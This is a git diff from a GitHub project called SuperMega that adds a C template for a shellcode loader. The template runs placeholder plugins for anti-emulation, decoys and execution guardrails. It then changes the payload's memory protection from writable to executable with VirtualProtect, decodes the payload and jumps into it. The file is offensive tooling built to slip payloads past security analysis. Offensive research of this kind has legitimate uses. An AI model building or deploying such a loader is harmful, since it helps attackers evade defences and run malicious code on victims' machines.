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https://github.com/dobin/SuperMega
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refactor: change_rwx_rx is now rw_rx thanks to previous refactor 1 page diff
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@@ -0,0 +1,68 @@
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#include <Windows.h>
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#include <time.h>
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char *supermega_payload;
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#define p_RW 0x04
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#define p_RX 0x20
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#define p_RWX 0x40
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/* iat_reuse_rwx_rx
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IAT reuse shellcode
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* reuse payload location (both in .rdata and .text)
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* does (rw/rx) -> rwx -> rx
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*/
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{{plugin_antiemulation}}
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{{plugin_decoy}}
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{{plugin_executionguardrail}}
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int main()
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{
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DWORD result;
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char *dest = supermega_payload;
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// Call: Execution Guardrail
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if (executionguardrail() != 0) {
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return 1;
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}
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// Call: Anti Emulation plugin
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antiemulation();
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// Call: Decoy plugin
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decoy();
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// Note: RWX if carrier and payload are on the same page (or we cant exec copy..)
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// can do only RW otherwise?
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/*for(int n=0; n<({{PAYLOAD_LEN}}/4096)+1; n++) {
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if (VirtualProtect(dest + (n * 4096), 16, p_RWX, &result) == 0) {
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return 16;
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}
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}*/
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if (VirtualProtect(dest, {{PAYLOAD_LEN}}, p_RW, &result) == 0) {
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return 16;
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}
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{{ plugin_decoder }}
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if (VirtualProtect(dest, {{PAYLOAD_LEN}}, p_RX, &result) == 0) {
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return 16;
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}
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/*for(int n=0; n<{{PAYLOAD_LEN}}/4096; n++) {
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if (VirtualProtect(dest + (n * 4096), 16, p_RX, &result) == 0) {
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return 16;
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}
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}*/
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// Execute *dest
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(*(void(*)())(dest))();
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return 0;
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}
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